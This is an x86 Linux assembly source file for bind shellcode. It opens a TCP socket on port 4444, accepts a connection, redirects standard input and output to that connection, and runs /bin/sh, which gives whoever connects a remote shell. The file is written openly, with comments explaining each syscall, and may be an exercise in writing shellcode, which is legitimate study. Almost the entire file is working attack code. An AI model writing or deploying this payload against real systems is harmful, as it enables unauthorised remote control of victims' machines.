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Bind-Shellcode.asm
131 lines (93 loc) · 2.43 KB
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Bind-Shellcode.asm
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; shellcode assembly
global _start:
section .text
_start:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01
; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
xor edx, edx
push edx ; int domain
push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; socketcall (0x66)
; syscall BIND (0x02) - int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov al, 0x66
mov bl, 0x02
; pushing arguments to the stack backwards:
; bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
; xor edx, edx
push edx
push word 0x5c11 ; port 4444
push word 0x02 ; PF_INET
mov ecx, esp
push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor
mov ecx, esp
; syscall
int 0x80
; socketcall (0x66)
; syscall SYS_LISTEN (0x04) - int listen(int sockfd, int backlog);
mov al, 0x66
mov bl, 0x04
; pushing arguments to the stack backwards:
; listen(sockid, 0);
push edx ; push 0
push esi ; socket file descriptor saved earlier in esi
mov ecx, esp
; syscall
int 0x80
; socketcall (0x66)
; syscall SYS_ACCEPT (0x05) - int sock_accept = accept(sockid, 0, 0);
mov al, 0x66
mov bl, 0x05
push edx
push esi ; socket file descriptor saved earlier in esi
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; dup2 (0x3f)
; 0 ; stdin
; dup2 (0x3f)
; 1 ; stdout
; dup2 (0x3f)
; 2 ; stderr
; let's put all this in a loop
xor ecx, ecx
DUPCOUNT:
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2 63
; int dup2(int oldfd, int newfd);
; xor eax, eax
mov al, 0x3f
; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value
mov ebx, esi ; saved socket descriptor
; syscall
int 0x80
inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached
; execve (0x0b)
; /bin//sh
xor eax, eax
; xor ebx, ebx
; sub esp, 8 ; reserve some bytes in the stack to work with
push eax ; substituted sub esp, 8 to reduce opcode size
mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
xor ecx, ecx
; syscall
int 0x80